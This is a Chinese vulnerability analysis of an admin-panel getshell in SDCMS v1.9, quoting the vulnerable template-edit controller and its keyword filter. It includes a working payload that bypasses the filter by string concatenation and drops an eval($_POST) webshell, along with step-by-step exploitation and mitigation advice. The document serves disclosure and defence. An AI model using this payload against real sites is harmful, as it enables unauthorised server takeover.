sdcms v1.9 后台getshell
字数 697 2025-08-26 22:11:45

SDCMS v1.9 后台Getshell漏洞分析与利用

漏洞概述

SDCMS v1.9版本存在后台模板编辑功能中的文件写入漏洞,攻击者可以通过构造特定代码绕过过滤机制,实现任意文件写入,最终获取服务器控制权限。

漏洞影响版本

  • SDCMS v1.9
  • 相关历史漏洞:
    • CVE-2019-9651 (v1.7)
    • CVE-2018-19520 (v1.6)

漏洞位置

/app/admin/controller/themecontroller.php 文件中的 edit() 方法

漏洞分析

关键代码

public function edit() {
    if(IS_POST) {
        $dir=$this->decode(F('t0'));
        $dir=str_replace(dir);
        $root='theme/'.$dir;
        $text=self::deal_text($_POST['t2']);
        
        $data=[[$text,'null','内容不能为空']];
        if(check_bad($text)>0) {
            $data=array_merge($data,[[(1>1),'other','请勿提交非法内容']]);
        }
        
        $v=new sdcms_verify($data);
        if($v->result()) {
            if(strpos($root,'.php')) {
                $text=" <?php if ( ! defined ( 'IN_SDCMS' )) exit ; ?> ".$text;
            }
            if(!APP_DEMO) file_put_contents($root,$text);
            $this->success('保存成功');
            
            $data=" <?php \nif ( ! defined ( 'IN_SDCMS' )) exit ; \nreturn ".var_export( $name , true)." ; \n ?> ";
            if(!APP_DEMO) file_put_contents('theme/'.$theme.'/_note.php', $data);
        } else {
            $this->error($v->msg);
        }
        $this->add_log($this->msg);
    } else {
        // ...
    }
}

过滤机制

过滤函数位于 app/function.phpcheck_bad() 函数:

function check_bad($str) {
    $num=preg_match_all("/(phpinfo|eval|file_put_contents|file_get_contents|passthru|exec|chroot|scandir|proc_open|delfolder|unlink|mkdir|fopen|fread|fwrite|fputs|tmpfile|flock|chmod|delete|assert|_post|_get|_request|_file|create_function|array_walk|preg_replace|cookie)/Ui",$str,$match);
    return $num?$num:0;
}

漏洞利用步骤

前提条件

  1. 攻击者已获取后台管理员权限
  2. 目标系统未处于演示模式(APP_DEMO为false)

利用过程

  1. 访问后台模板管理页面:

    http://target.com/sdcms1.9/?m=admin&c=theme&a=index
    
  2. 选择任意PHP模板文件进行编辑(如top.php)

  3. 在编辑框中输入以下代码:

    <?php 
    $a = 'file_p' . 'ut_contents';
    $data = '<?php ev' . 'al($_PO' . 'ST[1])?>';
    $a("chonger.php", $data);
    ?>
    
  4. 点击保存按钮

  5. 访问网站首页触发代码执行:

    http://target.com/sdcms1.9/
    
  6. 生成的Webshell位于:

    http://target.com/sdcms1.9/chonger.php
    

漏洞原理

  1. 系统未对用户输入进行充分的过滤和验证
  2. 虽然存在关键字过滤,但可以通过字符串拼接方式绕过
  3. 文件写入操作未限制目录和文件类型
  4. 写入的内容未进行有效的安全处理

防御措施

  1. 升级到最新版本
  2. 加强输入验证,不仅检查关键字,还应检查代码结构
  3. 限制模板编辑功能只能修改特定目录下的非PHP文件
  4. 实现文件内容的白名单验证机制
  5. 对管理员操作进行二次验证

总结

该漏洞展示了即使存在多层过滤机制,如果实现不当仍可能被绕过。开发人员应重视安全编码实践,不仅依赖简单的关键字过滤,而应采用更全面的安全防护措施。

SDCMS v1.9 后台Getshell漏洞分析与利用 漏洞概述 SDCMS v1.9版本存在后台模板编辑功能中的文件写入漏洞,攻击者可以通过构造特定代码绕过过滤机制,实现任意文件写入,最终获取服务器控制权限。 漏洞影响版本 SDCMS v1.9 相关历史漏洞: CVE-2019-9651 (v1.7) CVE-2018-19520 (v1.6) 漏洞位置 /app/admin/controller/themecontroller.php 文件中的 edit() 方法 漏洞分析 关键代码 过滤机制 过滤函数位于 app/function.php 的 check_bad() 函数: 漏洞利用步骤 前提条件 攻击者已获取后台管理员权限 目标系统未处于演示模式(APP_ DEMO为false) 利用过程 访问后台模板管理页面: 选择任意PHP模板文件进行编辑(如top.php) 在编辑框中输入以下代码: 点击保存按钮 访问网站首页触发代码执行: 生成的Webshell位于: 漏洞原理 系统未对用户输入进行充分的过滤和验证 虽然存在关键字过滤,但可以通过字符串拼接方式绕过 文件写入操作未限制目录和文件类型 写入的内容未进行有效的安全处理 防御措施 升级到最新版本 加强输入验证,不仅检查关键字,还应检查代码结构 限制模板编辑功能只能修改特定目录下的非PHP文件 实现文件内容的白名单验证机制 对管理员操作进行二次验证 总结 该漏洞展示了即使存在多层过滤机制,如果实现不当仍可能被绕过。开发人员应重视安全编码实践,不仅依赖简单的关键字过滤,而应采用更全面的安全防护措施。